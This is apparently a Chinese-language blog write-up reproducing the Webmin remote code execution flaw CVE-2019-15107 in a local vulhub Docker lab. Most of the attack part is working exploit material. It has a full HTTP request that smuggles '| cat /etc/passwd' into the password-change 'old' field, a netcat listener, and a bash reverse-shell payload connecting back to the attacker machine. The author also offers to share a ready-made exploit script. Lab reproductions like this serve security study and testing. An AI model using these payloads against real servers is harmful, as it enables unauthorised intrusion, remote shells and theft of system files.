Webmin RCE 漏洞复现
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。
影响版本:Webmin<1.920
环境搭建:使用vulhub,找到Webmin里的CVE-2019-15107
代码语言:javascript复制docker-compose up -d
首先进入容器修改root的密码
代码语言:javascript复制docker exec -it 91 /bin/bash #91使我的容器名,具体还是要看自己的容器名
docker ps -a #查看容器
代码语言:javascript复制cat /etc/webmin/miniserv.conf
代码语言:javascript复制vim etc/webmin/config
etc/webmin/config 里的referers_none的值改为0(好像不用改也可以,所以我就没截图了)
进入后台
用户名:root
密码:刚刚设置的密码
点击图上所指的
这个默认的配置好的,可以看看以防万一
正式开始
我的环境:
靶机:https://192.168.214.136:10000
攻击机:192.168.214.129
一般通过docker默认安装完以后就可以了,不需要再去改配置直接就可以复现漏洞。
这个漏洞是存在于用户更改密码处,由于password_change.cgi
文件在重置密码功能中存在一个代码执行漏洞
看到这个页面,接下来随便输入用户名密码进行抓包
然后更改数据包为
代码语言:javascript复制POST /password_change.cgi HTTP/1.1
Host: 192.168.214.136:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://192.168.214.136:10000/
Cookie: redirect=1; testing=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=admin&old=test | cat /etc/passwd&new1=123456&new2=123456
查看返回包,发现命令执行漏洞
反弹Shell
在kali监听10086端口
代码语言:javascript复制nc -lvp 10086
将数据包中的命令执行语句改为
代码语言:javascript复制bash -c "bash -i >& /dev/tcp/192.168.214.129/10086 0>&1"
将语句进行url编码
代码语言:javascript复制bash -c "bash -i >& /dev/tcp/192.168.214.129/10086 0>&1"
发送数据包
反弹成功
最后
至于exp网上也有很多,也可以找我要(附带使用方法),exp是整合了上述的命令执行和反弹shell,只不过是更加的方便。
Q.E.D.